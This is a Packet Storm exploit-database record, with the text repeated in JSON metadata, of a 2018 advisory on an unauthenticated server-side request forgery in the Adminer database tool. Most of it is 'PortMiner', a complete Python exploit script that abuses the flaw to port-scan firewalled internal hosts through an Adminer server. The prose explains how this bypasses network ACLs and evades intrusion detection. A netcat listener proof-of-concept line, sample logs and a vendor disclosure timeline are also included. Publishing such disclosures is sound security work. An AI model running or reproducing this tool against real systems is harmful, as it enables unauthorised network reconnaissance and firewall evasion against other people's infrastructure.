ID PACKETSTORM:145890 Type packetstorm Reporter hyp3rlinx Modified 2018-01-15T00:00:00
Description
`[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/ADMINER-UNAUTHENTICATED-SERVER-SIDE-REQUEST-FORGERY.txt
[+] ISR: apparition security
Vendor:
==============
www.adminer.org
Product:
================
Adminer <= v4.3.1
Adminer (formerly phpMinAdmin) is a full-featured database management tool written in PHP. Conversely to phpMyAdmin, it consist of a
single file ready to deploy to the target server. Adminer is available for MySQL, PostgreSQL, SQLite, MS SQL, Oracle, Firebird, SimpleDB, Elasticsearch and MongoDB.
https://github.com/vrana/adminer/releases/
Vulnerability Type:
===================
Server Side Request Forgery
CVE Reference:
==============
N/A
Security Issue:
================
Adminer allows unauthenticated connections to be initiated to arbitrary systems/ports. This vulnerability can be used to potentially bypass firewalls to
identify internal hosts and perform port scanning of other servers for reconnaissance purposes. Funny thing is Adminer throttles invalid login attempts
but allows endless unauthorized HTTP connections to other systems as long as your not trying to authenticate to Adminer itself.
Situations where Adminer can talk to a server that we are not allowed to (ACL) and where we can talk to the server hosting Adminer, it can do recon for us.
Recently in LAN I was firewalled off from a server, however another server running Adminer I can talk to. Also, that Adminer server can talk to the target.
Since Adminer suffers from Server-Side Request Forgery, I can scan for open ports and gather information from that firewalled off protected server.
This allowed me to not only bypass the ACL but also hide from the threat detection system (IDS) monitoring east west connections.
However, sysadmins who check the logs on the server hosting Adminer application will see our port scans.
root@lamp log/apache2# cat other_vhosts_access.log
localhost:12322 ATTACKER-IP - - [2/Jan/2018:14:25:11 +0000] "GET ///?server=TARGET-IP:21&username= HTTP/1.1" 403 1429 "-" "-"
localhost:12322 ATTACKER-IP - - [2/Jan/2018:14:26:24 +0000] "GET ///?server=TARGET-IP:22&username= HTTP/1.1" 403 6019 "-" "-"
localhost:12322 ATTACKER-IP - - [2/Jan/2018:14:26:56 +0000] "GET ///?server=TARGET-IP:23&username= HTTP/1.1" 403 6021 "-" "-"
Details:
==================
By comparing different failed error responses from Adminer when making SSRF bogus connections, I figured out which ports are open/closed.
Port open ==> Lost connection to MySQL server at 'reading initial communication packet
Port open ==> MySQL server has gone away
Port open ==> Bad file descriptor
Port closed ==> Can't connect to MySQL server on '<TARGET-IP>';
Port closed ==> No connection could be made because the target machine actively refused it
Port closed ==> A connection attempt failed.
This worked so well for me I wrote a quick port scanner 'PortMiner' as a proof of concept that leverages Adminer SSRF vulnerability.
PortMiner observations:
======================
No response 'read operation timed out' means the port is possibly open or filtered and should be given a closer look if possible. This seems to occur when scanning
Web server ports like 80, 443. However, when we get error responses like the ones above from the server we can be fairly certain a port is either open/closed.
Quick POC:
echo -e 'HTTP/1.1 200 OK\r\n\r\n' | nc -l -p 5555
Use range 5555-5555
Exploit/POC:
=============
import socket,re,ssl,warnings,subprocess,time
from platform import system as system_name
from os import system as system_call
#Adminer Server Side Request Forgery
#PortMiner Scanner Tool
#by John Page (hyp3rlinx)
#ISR: ApparitionSec
#hyp3rlinx.altervista.org
#=========================
#D1rty0Tis says hi.
#timeout
MAX_TIME=32
#ports to log
port_lst=[]
#Web server response often times out but usually means ports open.
false_pos_ports=['80','443']
BANNER='''
____ _ __ __ _
| _ \ | | | \/ (_)
| |__) |__ _ __| |_| \ / |_ _ __ ___ _ __
| ___/ _ \| '__| __| |\/| | | '_ \ / _ \ '__|
| | | (_) | | | |_| | | | | | | | __/ |
|_| \___/|_| \__|_| |_|_|_| |_|\___|_|
'''
def info():
print "\nPortMiner depends on Error messages to determine open/closed ports."
print "Read operations reported 'timed out' may be open/filtered.\n"
def greet():
print 'Adminer Unauthenticated SSRF Port Scanner Tool'
print 'Targets Adminer used for MySQL administration\n'
print 'by hyp3rlinx - apparition security'
print '-----------------------------------------------------\n'
print 'Scan small ranges or single ports or expect to wait.\n'
print 'Do not scan networks without authorized permission.'
print 'Author not responsible for abuse/misuse.\n'
def chk_ports(p):
p=p.replace('-',',')
port_arg=p.split(',')
try:
if len(port_arg)>1:
if int(port_arg[1]) < int(port_arg[0]):
print 'Port range not valid.'
raw_input()
return
if int(port_arg[1])>65535:
print 'Exceeded max Port range 65535.'
raw_input()
return
except Exception as e:
print str(e)
return None
return list(range(int(port_arg[0]),int(port_arg[1])+1))
def log(IP):
try:
file=open('PortMiner.txt', 'w')
file.write(IP+'\n')
for p in port_lst:
file.write(p+'\n')
file.close()
except Exception as e:
print str(e)
print "\nSee PortMiner.txt"
def use_ssl(ADMINER,ADMINER_PORT):
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ADMINER,int(ADMINER_PORT)))
s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23)
s.close()
except Exception as e:
print ""
return False
return True
def version(ip,port,uri,use_ssl):
res=""
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,int(port)))
if use_ssl:
s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23)
s.send('GET '+'/'+uri+'/?server='+':'+'&username=\r\n\r\n')
except Exception as e:
print 'Host up but cant connect.' #str(e)
print 'Re-check Host/Port/URI.'
s.close()
return 504
while True:
RES=s.recv(512)
if RES.find('Forbidden')!=-1:
print 'Forbidden 403'
s.close()
return None
if RES.find('401 Authorization Required')!=-1:
print '401 Authorization Required'
s.close()
return None
ver = re.findall(r'<span class="version">(.*)</span>',RES,re.DOTALL|re.MULTILINE)
if not RES:
s.close()
return None
if ver:
print 'Your Adminer '+ ver[0] + ' works for us now.'
s.close()
return ver
s.close()
return None
def scan(ADMINER,ADMINER_PORT,ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL):
global MAX_TIME,port_range
RES=''
print 'scanning ports: %s ' % str(port_range[0])+'to ' + str(port_range[-1])+' ...'
for aPort in port_range:
aPort=str(aPort)
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(MAX_TIME)
s.connect((ADMINER,ADMINER_PORT))
if USE_SSL:
s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23)
s.send('GET /'+ADMINER_URI+'/?server='+TARGET+':'+aPort+'&username= HTTP/1.1\r\nHost: '+TARGET+'\r\n\r\n')
except Exception as e:
print str(e)
s.close()
return
while True:
try:
RES=s.recv(512)
###print RES
###Should see HTTP/1.1 403 not 200
if RES.find('HTTP/1.1 200 OK')!=-1:
print 'port '+aPort + ' open'
port_lst.append(aPort+' open')
s.close()
break
if RES.find('400 Bad Request')!=-1:
print '400 Bad Request, check params'
s.close()
break
raw_input()
lst=re.findall(r"([^\n<div class='error'>].*connect to MySQL server on.*[^</div>\n])|(Lost connection to MySQL server at.*)|(MySQL server has gone away.*)"+
"|(No connection could be made because the target machine actively refused it.*)|(A connection attempt failed.*)|(HTTP/1.1 200 OK.*)", RES)
if lst:
status=str(lst)
if status.find('connect to MySQL')!=-1:
if PRINT_CLOSED:
print 'port '+ aPort + ' closed'
s.close()
break
elif status.find('machine actively refused it.')!=-1:
if PRINT_CLOSED:
print 'port '+ aPort + ' closed'
s.close()
break
elif status.find('A connection attempt failed')!=-1:
if PRINT_CLOSED:
print 'port '+ aPort + ' closed'
s.close()
break
elif status.find('reading initial communication packet')!=-1:
print 'port '+aPort + ' open'
port_lst.append(aPort+' open')
s.close()
break
elif status.find('MySQL server has gone away')!=-1:
print 'port '+aPort + ' open'
port_lst.append(aPort+' open')
s.close()
break
elif status.find('Bad file descriptor')!=-1:
print 'port '+aPort + ' open'
port_lst.append(aPort+' open')
s.close()
break
elif status.find('Got packets out of order')!=-1:
print 'port '+aPort + ' open'
s.close()
break
except Exception as e:
msg = str(e)
###print msg
if msg.find('timed out')!=-1 and aPort in false_pos_ports:
print 'port '+aPort + ' open'
port_lst.append(aPort+' open')
s.close()
break
elif msg.find('timed out')!=-1:
print 'port '+aPort + ' timed out'
port_lst.append(aPort+' read operation timed out')
s.close()
break
else:
s.close()
break
if port_lst:
log(TARGET)
else:
print "Scan completed, no ports mined."
return 0
def arp(host):
args = "-a" if system_name().lower()=="windows" else "-e"
return subprocess.call("arp " + args + " " + host, shell=True) == 0
def ping_host(host):
args = "-n 1" if system_name().lower()=="windows" else "-c 1"
res=subprocess.call("ping " + args + " " + host, shell=True) == 0
if not res:
print str(host) + ' down? trying ARP'
if not arp(host):
print str(host) + ' unreachable.'
return
return res
def main():
global port_range
print BANNER
greet()
ADMINER_VERSION=False
PRINT_CLOSED=False
USE_SSL=None
ADMINER=raw_input('[+] Adminer Host/IP> ')
if ADMINER=='':
print 'Enter valid Host/IP'
ADMINER=raw_input('[+] Adminer Host/IP> ')
ADMINER_PORT=raw_input('[+] Adminer Port> ')
if not re.search("^\d{1,5}$",ADMINER_PORT):
print 'Enter a valid Port.'
ADMINER_PORT=raw_input('[+] Adminer Port> ')
ADMINER_URI=raw_input('[+] Adminer URI [the adminer-<version>.php OR adminer/ dir path] > ')
TARGET=raw_input('[+] Host/IP to Scan> ')
PORTS_TO_SCAN=raw_input('[+] Port Range e.g. 21-25> ').replace(' ','')
plst=re.findall(r"(\d{1,5})-(\d{1,5})",PORTS_TO_SCAN)
if not plst:
print 'Invalid ports, format is 1-1025'
return
raw_input() #console up
port_range=chk_ports(PORTS_TO_SCAN)
if not port_range:
return
PRINT_CLOSED=raw_input('[+] Print closed ports? 1=Yes any key for No> ')
if PRINT_CLOSED=='1':
PRINT_CLOSED=True
else:
PRINT_CLOSED=False
if not ping_host(ADMINER):
print 'host %s not reachable or blocking ping ' % ADMINER
cont=raw_input('Continue with scan? 1=Yes any key for No> ')
if cont!='1':
print 'Scan aborted.'
raw_input() #console up
return
USE_SSL=use_ssl(ADMINER,ADMINER_PORT)
time.sleep(2)
ADMINER_VERSION = version(ADMINER,ADMINER_PORT,ADMINER_URI,USE_SSL)
if not ADMINER_VERSION:
print "Can't retrieve Adminer script. check supplied URI."
raw_input() #console up
return
else:
if ADMINER_VERSION==504:
raw_input() #console up
return
if scan(ADMINER,int(ADMINER_PORT),ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL)==0:
more=raw_input('Info: 1=Yes, any key for No> ')
if more=='1':
info()
raw_input() #console up
if __name__=='__main__':
main()
Network Access:
===============
Remote
Severity:
=========
Medium
Disclosure Timeline:
=============================
Vendor Notification: December 16, 2017
Vendor Acknowledgment and reply "I could disallow connecting to well-known ports" : December 18, 2017
Vendor "Adminer throttles invalid login attempts. That should help. I am not sure what else could Adminer do about this."
No more replies from vendor since : December 18, 2017
Attempt contact vendor : January 4, 2018
No more replies (unresponsive).
January 12, 2018 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
`
{"sourceData": "`[+] Credits: John Page (aka hyp3rlinx) \n[+] Website: hyp3rlinx.altervista.org \n[+] Source: http://hyp3rlinx.altervista.org/advisories/ADMINER-UNAUTHENTICATED-SERVER-SIDE-REQUEST-FORGERY.txt \n[+] ISR: apparition security \n \n \n \nVendor: \n============== \nwww.adminer.org \n \n \nProduct: \n================ \nAdminer <= v4.3.1 \n \nAdminer (formerly phpMinAdmin) is a full-featured database management tool written in PHP. Conversely to phpMyAdmin, it consist of a \nsingle file ready to deploy to the target server. Adminer is available for MySQL, PostgreSQL, SQLite, MS SQL, Oracle, Firebird, SimpleDB, Elasticsearch and MongoDB. \n \nhttps://github.com/vrana/adminer/releases/ \n \n \nVulnerability Type: \n=================== \nServer Side Request Forgery \n \n \nCVE Reference: \n============== \nN/A \n \n \nSecurity Issue: \n================ \nAdminer allows unauthenticated connections to be initiated to arbitrary systems/ports. This vulnerability can be used to potentially bypass firewalls to \nidentify internal hosts and perform port scanning of other servers for reconnaissance purposes. Funny thing is Adminer throttles invalid login attempts \nbut allows endless unauthorized HTTP connections to other systems as long as your not trying to authenticate to Adminer itself. \n \nSituations where Adminer can talk to a server that we are not allowed to (ACL) and where we can talk to the server hosting Adminer, it can do recon for us. \n \nRecently in LAN I was firewalled off from a server, however another server running Adminer I can talk to. Also, that Adminer server can talk to the target. \nSince Adminer suffers from Server-Side Request Forgery, I can scan for open ports and gather information from that firewalled off protected server. \nThis allowed me to not only bypass the ACL but also hide from the threat detection system (IDS) monitoring east west connections. \n \nHowever, sysadmins who check the logs on the server hosting Adminer application will see our port scans. \n \nroot@lamp log/apache2# cat other_vhosts_access.log \nlocalhost:12322 ATTACKER-IP - - [2/Jan/2018:14:25:11 +0000] \"GET ///?server=TARGET-IP:21&username= HTTP/1.1\" 403 1429 \"-\" \"-\" \nlocalhost:12322 ATTACKER-IP - - [2/Jan/2018:14:26:24 +0000] \"GET ///?server=TARGET-IP:22&username= HTTP/1.1\" 403 6019 \"-\" \"-\" \nlocalhost:12322 ATTACKER-IP - - [2/Jan/2018:14:26:56 +0000] \"GET ///?server=TARGET-IP:23&username= HTTP/1.1\" 403 6021 \"-\" \"-\" \n \n \nDetails: \n================== \nBy comparing different failed error responses from Adminer when making SSRF bogus connections, I figured out which ports are open/closed. \n \nPort open ==> Lost connection to MySQL server at 'reading initial communication packet \nPort open ==> MySQL server has gone away \nPort open ==> Bad file descriptor \nPort closed ==> Can't connect to MySQL server on '<TARGET-IP>'; \nPort closed ==> No connection could be made because the target machine actively refused it \nPort closed ==> A connection attempt failed. \n \nThis worked so well for me I wrote a quick port scanner 'PortMiner' as a proof of concept that leverages Adminer SSRF vulnerability. \n \n \nPortMiner observations: \n====================== \nNo response 'read operation timed out' means the port is possibly open or filtered and should be given a closer look if possible. This seems to occur when scanning \nWeb server ports like 80, 443. However, when we get error responses like the ones above from the server we can be fairly certain a port is either open/closed. \n \nQuick POC: \necho -e 'HTTP/1.1 200 OK\\r\\n\\r\\n' | nc -l -p 5555 \nUse range 5555-5555 \n \n \nExploit/POC: \n============= \nimport socket,re,ssl,warnings,subprocess,time \nfrom platform import system as system_name \nfrom os import system as system_call \n \n#Adminer Server Side Request Forgery \n#PortMiner Scanner Tool \n#by John Page (hyp3rlinx) \n#ISR: ApparitionSec \n#hyp3rlinx.altervista.org \n#========================= \n#D1rty0Tis says hi. \n \n#timeout \nMAX_TIME=32 \n#ports to log \nport_lst=[] \n#Web server response often times out but usually means ports open. \nfalse_pos_ports=['80','443'] \n \nBANNER=''' \n____ _ __ __ _ \n| _ \\ | | | \\/ (_) \n| |__) |__ _ __| |_| \\ / |_ _ __ ___ _ __ \n| ___/ _ \\| '__| __| |\\/| | | '_ \\ / _ \\ '__| \n| | | (_) | | | |_| | | | | | | | __/ | \n|_| \\___/|_| \\__|_| |_|_|_| |_|\\___|_| \n''' \n \n \ndef info(): \nprint \"\\nPortMiner depends on Error messages to determine open/closed ports.\" \nprint \"Read operations reported 'timed out' may be open/filtered.\\n\" \n \n \ndef greet(): \nprint 'Adminer Unauthenticated SSRF Port Scanner Tool' \nprint 'Targets Adminer used for MySQL administration\\n' \nprint 'by hyp3rlinx - apparition security' \nprint '-----------------------------------------------------\\n' \nprint 'Scan small ranges or single ports or expect to wait.\\n' \nprint 'Do not scan networks without authorized permission.' \nprint 'Author not responsible for abuse/misuse.\\n' \n \n \ndef chk_ports(p): \np=p.replace('-',',') \nport_arg=p.split(',') \ntry: \nif len(port_arg)>1: \nif int(port_arg[1]) < int(port_arg[0]): \nprint 'Port range not valid.' \nraw_input() \nreturn \nif int(port_arg[1])>65535: \nprint 'Exceeded max Port range 65535.' \nraw_input() \nreturn \nexcept Exception as e: \nprint str(e) \nreturn None \nreturn list(range(int(port_arg[0]),int(port_arg[1])+1)) \n \n \n \ndef log(IP): \ntry: \nfile=open('PortMiner.txt', 'w') \nfile.write(IP+'\\n') \nfor p in port_lst: \nfile.write(p+'\\n') \nfile.close() \nexcept Exception as e: \nprint str(e) \nprint \"\\nSee PortMiner.txt\" \n \n \ndef use_ssl(ADMINER,ADMINER_PORT): \ntry: \ns=socket.socket(socket.AF_INET, socket.SOCK_STREAM) \ns.connect((ADMINER,int(ADMINER_PORT))) \ns=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23) \ns.close() \nexcept Exception as e: \nprint \"\" \nreturn False \nreturn True \n \n \ndef version(ip,port,uri,use_ssl): \nres=\"\" \ntry: \ns=socket.socket(socket.AF_INET, socket.SOCK_STREAM) \ns.connect((ip,int(port))) \nif use_ssl: \ns=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23) \ns.send('GET '+'/'+uri+'/?server='+':'+'&username=\\r\\n\\r\\n') \n \nexcept Exception as e: \nprint 'Host up but cant connect.' #str(e) \nprint 'Re-check Host/Port/URI.' \ns.close() \nreturn 504 \n \nwhile True: \nRES=s.recv(512) \nif RES.find('Forbidden')!=-1: \nprint 'Forbidden 403' \ns.close() \nreturn None \nif RES.find('401 Authorization Required')!=-1: \nprint '401 Authorization Required' \ns.close() \nreturn None \nver = re.findall(r'<span class=\"version\">(.*)</span>',RES,re.DOTALL|re.MULTILINE) \nif not RES: \ns.close() \nreturn None \nif ver: \nprint 'Your Adminer '+ ver[0] + ' works for us now.' \ns.close() \nreturn ver \n \ns.close() \nreturn None \n \n \n \ndef scan(ADMINER,ADMINER_PORT,ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL): \nglobal MAX_TIME,port_range \nRES='' \n \nprint 'scanning ports: %s ' % str(port_range[0])+'to ' + str(port_range[-1])+' ...' \n \nfor aPort in port_range: \naPort=str(aPort) \n \ntry: \ns=socket.socket(socket.AF_INET, socket.SOCK_STREAM) \ns.settimeout(MAX_TIME) \ns.connect((ADMINER,ADMINER_PORT)) \n \nif USE_SSL: \ns=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23) \n \ns.send('GET /'+ADMINER_URI+'/?server='+TARGET+':'+aPort+'&username= HTTP/1.1\\r\\nHost: '+TARGET+'\\r\\n\\r\\n') \n \nexcept Exception as e: \nprint str(e) \ns.close() \nreturn \n \nwhile True: \ntry: \nRES=s.recv(512) \n###print RES \n###Should see HTTP/1.1 403 not 200 \nif RES.find('HTTP/1.1 200 OK')!=-1: \nprint 'port '+aPort + ' open' \nport_lst.append(aPort+' open') \ns.close() \nbreak \n \nif RES.find('400 Bad Request')!=-1: \nprint '400 Bad Request, check params' \ns.close() \nbreak \nraw_input() \n \nlst=re.findall(r\"([^\\n<div class='error'>].*connect to MySQL server on.*[^</div>\\n])|(Lost connection to MySQL server at.*)|(MySQL server has gone away.*)\"+ \n\"|(No connection could be made because the target machine actively refused it.*)|(A connection attempt failed.*)|(HTTP/1.1 200 OK.*)\", RES) \n \nif lst: \nstatus=str(lst) \nif status.find('connect to MySQL')!=-1: \nif PRINT_CLOSED: \nprint 'port '+ aPort + ' closed' \ns.close() \nbreak \nelif status.find('machine actively refused it.')!=-1: \nif PRINT_CLOSED: \nprint 'port '+ aPort + ' closed' \ns.close() \nbreak \nelif status.find('A connection attempt failed')!=-1: \nif PRINT_CLOSED: \nprint 'port '+ aPort + ' closed' \ns.close() \nbreak \nelif status.find('reading initial communication packet')!=-1: \nprint 'port '+aPort + ' open' \nport_lst.append(aPort+' open') \ns.close() \nbreak \nelif status.find('MySQL server has gone away')!=-1: \nprint 'port '+aPort + ' open' \nport_lst.append(aPort+' open') \ns.close() \nbreak \nelif status.find('Bad file descriptor')!=-1: \nprint 'port '+aPort + ' open' \nport_lst.append(aPort+' open') \ns.close() \nbreak \nelif status.find('Got packets out of order')!=-1: \nprint 'port '+aPort + ' open' \ns.close() \nbreak \n \nexcept Exception as e: \nmsg = str(e) \n###print msg \nif msg.find('timed out')!=-1 and aPort in false_pos_ports: \nprint 'port '+aPort + ' open' \nport_lst.append(aPort+' open') \ns.close() \nbreak \nelif msg.find('timed out')!=-1: \nprint 'port '+aPort + ' timed out' \nport_lst.append(aPort+' read operation timed out') \ns.close() \nbreak \nelse: \ns.close() \nbreak \n \nif port_lst: \nlog(TARGET) \nelse: \nprint \"Scan completed, no ports mined.\" \nreturn 0 \n \n \n \ndef arp(host): \nargs = \"-a\" if system_name().lower()==\"windows\" else \"-e\" \nreturn subprocess.call(\"arp \" + args + \" \" + host, shell=True) == 0 \n \n \ndef ping_host(host): \nargs = \"-n 1\" if system_name().lower()==\"windows\" else \"-c 1\" \nres=subprocess.call(\"ping \" + args + \" \" + host, shell=True) == 0 \nif not res: \nprint str(host) + ' down? trying ARP' \nif not arp(host): \nprint str(host) + ' unreachable.' \nreturn \nreturn res \n \n \n \ndef main(): \nglobal port_range \nprint BANNER \ngreet() \nADMINER_VERSION=False \nPRINT_CLOSED=False \nUSE_SSL=None \n \nADMINER=raw_input('[+] Adminer Host/IP> ') \nif ADMINER=='': \nprint 'Enter valid Host/IP' \nADMINER=raw_input('[+] Adminer Host/IP> ') \n \nADMINER_PORT=raw_input('[+] Adminer Port> ') \nif not re.search(\"^\\d{1,5}$\",ADMINER_PORT): \nprint 'Enter a valid Port.' \nADMINER_PORT=raw_input('[+] Adminer Port> ') \n \nADMINER_URI=raw_input('[+] Adminer URI [the adminer-<version>.php OR adminer/ dir path] > ') \nTARGET=raw_input('[+] Host/IP to Scan> ') \n \nPORTS_TO_SCAN=raw_input('[+] Port Range e.g. 21-25> ').replace(' ','') \nplst=re.findall(r\"(\\d{1,5})-(\\d{1,5})\",PORTS_TO_SCAN) \nif not plst: \nprint 'Invalid ports, format is 1-1025' \nreturn \nraw_input() #console up \n \nport_range=chk_ports(PORTS_TO_SCAN) \nif not port_range: \nreturn \n \nPRINT_CLOSED=raw_input('[+] Print closed ports? 1=Yes any key for No> ') \nif PRINT_CLOSED=='1': \nPRINT_CLOSED=True \nelse: \nPRINT_CLOSED=False \n \nif not ping_host(ADMINER): \nprint 'host %s not reachable or blocking ping ' % ADMINER \ncont=raw_input('Continue with scan? 1=Yes any key for No> ') \nif cont!='1': \nprint 'Scan aborted.' \nraw_input() #console up \nreturn \n \n \nUSE_SSL=use_ssl(ADMINER,ADMINER_PORT) \ntime.sleep(2) \nADMINER_VERSION = version(ADMINER,ADMINER_PORT,ADMINER_URI,USE_SSL) \n \nif not ADMINER_VERSION: \nprint \"Can't retrieve Adminer script. check supplied URI.\" \nraw_input() #console up \nreturn \nelse: \nif ADMINER_VERSION==504: \nraw_input() #console up \nreturn \nif scan(ADMINER,int(ADMINER_PORT),ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL)==0: \nmore=raw_input('Info: 1=Yes, any key for No> ') \nif more=='1': \ninfo() \nraw_input() #console up \n \n \nif __name__=='__main__': \nmain() \n \n \n \nNetwork Access: \n=============== \nRemote \n \n \n \nSeverity: \n========= \nMedium \n \n \n \nDisclosure Timeline: \n============================= \nVendor Notification: December 16, 2017 \nVendor Acknowledgment and reply \"I could disallow connecting to well-known ports\" : December 18, 2017 \nVendor \"Adminer throttles invalid login attempts. That should help. I am not sure what else could Adminer do about this.\" \nNo more replies from vendor since : December 18, 2017 \nAttempt contact vendor : January 4, 2018 \nNo more replies (unresponsive). \nJanuary 12, 2018 : Public Disclosure \n \n \n \n[+] Disclaimer \nThe information contained within this advisory is supplied \"as-is\" with no warranties or guarantees of fitness of use or otherwise. \nPermission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and \nthat due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit \nis given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility \nfor any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information \nor exploits by the author or elsewhere. All content (c). \n \nhyp3rlinx \n`\n", "history": [], "description": "", "sourceHref": "https://packetstormsecurity.com/files/download/145890/ADMINER-UNAUTHENTICATED-SERVER-SIDE-REQUEST-FORGERY.txt", "reporter": "hyp3rlinx", "href": "https://packetstormsecurity.com/files/145890/Adminer-4.3.1-Server-Side-Request-Forgery.html", "type": "packetstorm", "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvss", "hash": "8cd4821cb504d25572038ed182587d85"}, {"key": "description", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "href", "hash": "eda482e685b45149f9f025969cef40b6"}, {"key": "modified", "hash": "3fcf3472ec23d37b4712de598fcb8d16"}, {"key": "published", "hash": "3fcf3472ec23d37b4712de598fcb8d16"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "1e27bca2fcc92db87e971d5cdcc91ee8"}, {"key": "sourceData", "hash": "f2a78dd044fa02d2cbfbec0c6c3e6764"}, {"key": "sourceHref", "hash": "1a89c21645144cc0d5b253ecccebec86"}, {"key": "title", "hash": "7269eda24a6b1b7e736b2941b8c821de"}, {"key": "type", "hash": "6466ca3735f647eeaed965d9e71bd35d"}], "viewCount": 15, "references": [], "lastseen": "2018-01-16T00:22:40", "published": "2018-01-15T00:00:00", "objectVersion": "1.3", "cvelist": [], "id": "PACKETSTORM:145890", "hash": "efe9257995d5988fd4a545266193a2cfe0f8c14ffa8842ae372c5b86ee212773", "modified": "2018-01-15T00:00:00", "title": "Adminer 4.3.1 Server-Side Request Forgery", "edition": 1, "cvss": {"score": 0.0, "vector": "NONE"}, "bulletinFamily": "exploit", "enchantments": {"score": {"value": 0.7, "vector": "NONE", "modified": "2018-01-16T00:22:40"}, "dependencies": {"references": [], "modified": "2018-01-16T00:22:40"}, "vulnersScore": 0.7}}